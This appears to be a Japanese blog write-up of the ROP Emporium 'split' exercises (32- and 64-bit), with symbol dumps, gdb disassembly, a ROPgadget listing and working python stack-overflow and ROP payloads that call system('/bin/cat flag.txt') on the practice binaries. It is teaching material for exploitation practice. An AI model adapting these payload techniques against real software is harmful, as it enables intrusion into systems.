ROP Emporium
ROPの練習問題集
解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。
writeup link
split32 writeup
32bitのELF実行ファイル。
とりあえず、実行してみる。
# file ./split32
./split32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8a6d6bf3d264d331ecbf9d1e6858d6eac124b89, not stripped
#
#
# ./split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> test
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
nm
usefulFunction / usefulStringというシンボルがある。
これを使えということか。。。
gdbのinfo func
コマンドでは関数のシンボルしか表示されない。
シンボルの確認では、nmコマンドを使った方が良い
# nm ./split32
0804a04a B __bss_start
0804a088 b completed.7200
0804a028 D __data_start
0804a028 W data_start
080484c0 t deregister_tm_clones
08048530 t __do_global_dtors_aux
08049f0c d __do_global_dtors_aux_fini_array_entry
0804a02c D __dso_handle
08049f14 d _DYNAMIC
0804a04a D _edata
0804a08c B _end
U fgets@@GLIBC_2.0
080486d4 T _fini
080486e8 R _fp_hw
08048550 t frame_dummy
08049f08 d __frame_dummy_init_array_entry
08048894 r __FRAME_END__
0804a000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
08048750 r __GNU_EH_FRAME_HDR
080483c0 T _init
08049f0c d __init_array_end
08049f08 d __init_array_start
080486ec R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
08049f10 d __JCR_END__
08049f10 d __JCR_LIST__
w _Jv_RegisterClasses
080486d0 T __libc_csu_fini
08048670 T __libc_csu_init
U __libc_start_main@@GLIBC_2.0
0804857b T main
U memset@@GLIBC_2.0
U printf@@GLIBC_2.0
U puts@@GLIBC_2.0
080485f6 t pwnme
080484f0 t register_tm_clones
U setvbuf@@GLIBC_2.0
08048480 T _start
0804a060 B stderr@@GLIBC_2.0
0804a080 B stdin@@GLIBC_2.0
0804a084 B stdout@@GLIBC_2.0
U system@@GLIBC_2.0
0804a04c D __TMC_END__
08048649 t usefulFunction
0804a030 D usefulString
080484b0 T __x86.get_pc_thunk.bx
#
gdbでsplit32を解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
main / pwnme関数の内容は他の問題と同様。
ret2win writeup
nmコマンドで確認できたusefulFunction / usefulStringを見てみる。
usefulFunctionは/bin/ls
を実行する関数。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x08048649 <+0>: push ebp
0x0804864a <+1>: mov ebp,esp
0x0804864c <+3>: sub esp,0x8
0x0804864f <+6>: sub esp,0xc
0x08048652 <+9>: push 0x8048747
0x08048657 <+14>: call 0x8048430 <system@plt>
0x0804865c <+19>: add esp,0x10
0x0804865f <+22>: nop
0x08048660 <+23>: leave
0x08048661 <+24>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x8048747
0x8048747: "/bin/ls"
gdb-peda$
gdb-peda$ x/s 0x0804a030
0x804a030 <usefulString>: "/bin/cat flag.txt"
gdb-peda$
usefulStringは/bin/cat flag.txt
の文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、system("/bin/cat flag.txt")
となり、フラグが出力されそう。
system関数へはbuffer overflowを使って実行する。
usefulStringは引数としてstackに積んでおく。
ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byte。
44byteのダミー文字の後にusefulFunctionでsystemを呼び出していたアドレスとusefulStringのアドレスを付け足す。
# python -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault
#
ret2pltをする場合は、return addressと引数の間に、system@pltのreturn addressとしてダミー文字列を入れる必要がある。
# python -c "print 'A'*44 + '\x57\x86\x04\x08' + 'A'*4 + '\x30\xa0\x04\x08'" | ./split32
split by ROP Emporium
32bits
Contriving a reason to ask user for data...
> Segmentation fault
#
split writeup
split32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。
# file ./split
./split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8cbc19d1114b70bce2305f7ded9e7dd4d2e28069, not stripped
#
#
#
#
# ./split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> test
Exiting
#
nmコマンドで実行ファイルのシンボル情報を確認する。
usefulFunction / usefulStringというシンボルがある。
split32同様、これらを確認していく。
# nm ./split
000000000060107a B __bss_start
00000000006010a8 b completed.7585
0000000000601050 D __data_start
0000000000601050 W data_start
0000000000400680 t deregister_tm_clones
0000000000400700 t __do_global_dtors_aux
0000000000600e18 d __do_global_dtors_aux_fini_array_entry
0000000000601058 D __dso_handle
0000000000600e28 d _DYNAMIC
000000000060107a D _edata
00000000006010b0 B _end
U fgets@@GLIBC_2.2.5
0000000000400894 T _fini
0000000000400720 t frame_dummy
0000000000600e10 d __frame_dummy_init_array_entry
0000000000400a80 r __FRAME_END__
0000000000601000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
0000000000400908 r __GNU_EH_FRAME_HDR
00000000004005a0 T _init
0000000000600e18 d __init_array_end
0000000000600e10 d __init_array_start
00000000004008a0 R _IO_stdin_used
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
0000000000600e20 d __JCR_END__
0000000000600e20 d __JCR_LIST__
w _Jv_RegisterClasses
0000000000400890 T __libc_csu_fini
0000000000400820 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
0000000000400746 T main
U memset@@GLIBC_2.2.5
U printf@@GLIBC_2.2.5
U puts@@GLIBC_2.2.5
00000000004007b5 t pwnme
00000000004006c0 t register_tm_clones
U setvbuf@@GLIBC_2.2.5
0000000000400650 T _start
00000000006010a0 B stderr@@GLIBC_2.2.5
0000000000601090 B stdin@@GLIBC_2.2.5
0000000000601080 B stdout@@GLIBC_2.2.5
U system@@GLIBC_2.2.5
0000000000601080 D __TMC_END__
0000000000400807 t usefulFunction
0000000000601060 D usefulString
#
gdbでsplit32を解析していく。
canaryは今回も無効。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
main / pwnme関数の内容は他の問題と同様。
nmコマンドで確認できたusefulFunction / usefulStringを見てみる。
usefulFunctionは/bin/lsを実行する関数。
gdb-peda$ pdis usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400807 <+0>: push rbp
0x0000000000400808 <+1>: mov rbp,rsp
0x000000000040080b <+4>: mov edi,0x4008ff
0x0000000000400810 <+9>: call 0x4005e0 <system@plt>
0x0000000000400815 <+14>: nop
0x0000000000400816 <+15>: pop rbp
0x0000000000400817 <+16>: ret
End of assembler dump.
gdb-peda$
gdb-peda$ x/s 0x4008ff
0x4008ff: "/bin/ls"
gdb-peda$
gdb-peda$ x/s 0x601060
0x601060 <usefulString>: "/bin/cat flag.txt"
gdb-peda$
usefulStringは/bin/cat flag.txt
の文字列。
usefulStringを引数としてusefulFunctionのsystemを実行すれば、system("/bin/cat flag.txt")
となり、フラグが出力されそう。
x64では引数をレジスタに格納する必要がある。
pop rdi; ret
のrop gadgetがないか調べる。
# ROPgadget --binary ./split
Gadgets information
============================================================
0x00000000004006a2 : adc byte ptr [rax], ah ; jmp rax
0x000000000040080e : add al, bpl ; retf
0x000000000040080f : add al, ch ; retf
0x000000000040088f : add bl, dh ; ret
0x000000000040088d : add byte ptr [rax], al ; add bl, dh ; ret
0x000000000040088b : add byte ptr [rax], al ; add byte ptr [rax], al ; add bl, dh ; ret
0x00000000004006ac : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088c : add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x00000000004005b3 : add byte ptr [rax], al ; add rsp, 8 ; ret
0x00000000004006ae : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088e : add byte ptr [rax], al ; ret
0x0000000000400718 : add byte ptr [rcx], al ; ret
0x0000000000400714 : add eax, 0x20098e ; add ebx, esi ; ret
0x0000000000400719 : add ebx, esi ; ret
0x00000000004005b6 : add esp, 8 ; ret
0x00000000004005b5 : add rsp, 8 ; ret
0x0000000000400717 : and byte ptr [rax], al ; add ebx, esi ; ret
0x0000000000400a0b : call qword ptr [rcx]
0x000000000040073e : call rax
0x000000000040080c : dec dword ptr [rax] ; add al, bpl ; retf
0x000000000040086c : fmul qword ptr [rax - 0x7d] ; ret
0x000000000040080a : in eax, 0xbf ; dec dword ptr [rax] ; add al, bpl ; retf
0x0000000000400739 : int1 ; push rbp ; mov rbp, rsp ; call rax
0x000000000040069d : je 0x4006b8 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x00000000004006eb : je 0x400700 ; pop rbp ; mov edi, 0x601080 ; jmp rax
0x0000000000400738 : je 0x400731 ; push rbp ; mov rbp, rsp ; call rax
0x00000000004006a5 : jmp rax
0x0000000000400805 : leave ; ret
0x0000000000400713 : mov byte ptr [rip + 0x20098e], 1 ; ret
0x0000000000400715 : mov cs, word ptr [rcx] ; and byte ptr [rax], al ; add ebx, esi ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x00000000004005b1 : mov eax, dword ptr [rax] ; add byte ptr [rax], al ; add rsp, 8 ; ret
0x000000000040073c : mov ebp, esp ; call rax
0x00000000004006a0 : mov edi, 0x601080 ; jmp rax
0x000000000040073b : mov rbp, rsp ; call rax
0x0000000000400804 : nop ; leave ; ret
0x0000000000400815 : nop ; pop rbp ; ret
0x00000000004006a8 : nop dword ptr [rax + rax] ; pop rbp ; ret
0x0000000000400888 : nop dword ptr [rax + rax] ; ret
0x00000000004006f5 : nop dword ptr [rax] ; pop rbp ; ret
0x0000000000400716 : or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400880 : pop r14 ; pop r15 ; ret
0x0000000000400882 : pop r15 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20098e], 1 ; ret
0x000000000040069f : pop rbp ; mov edi, 0x601080 ; jmp rax
0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x0000000000400883 : pop rdi ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040073a : push rbp ; mov rbp, rsp ; call rax
0x00000000004005b9 : ret
0x0000000000400811 : retf
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
0x0000000000400895 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000400894 : sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004006aa : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040088a : test byte ptr [rax], al ; add byte ptr [rax], al ; add byte ptr [rax], al ; ret
0x0000000000400736 : test eax, eax ; je 0x400733 ; push rbp ; mov rbp, rsp ; call rax
0x0000000000400735 : test rax, rax ; je 0x400734 ; push rbp ; mov rbp, rsp ; call rax
Unique gadgets found: 63
#
0x400883
にpop rdi; ret
のgadgetがある。
stackが以下のようになるようにペイロードを作成する。
+--------------------+
| dummy |
+--------------------+
| pop rdi |
+--------------------+
| usefulString |
+--------------------+
| system |
+--------------------+
ret2winと同様にpattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは40byte。
# python -c "print 'A'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\xe0\x05\x40\x00\x00\x00\x00\x00'" | ./split
split by ROP Emporium
64bits
Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault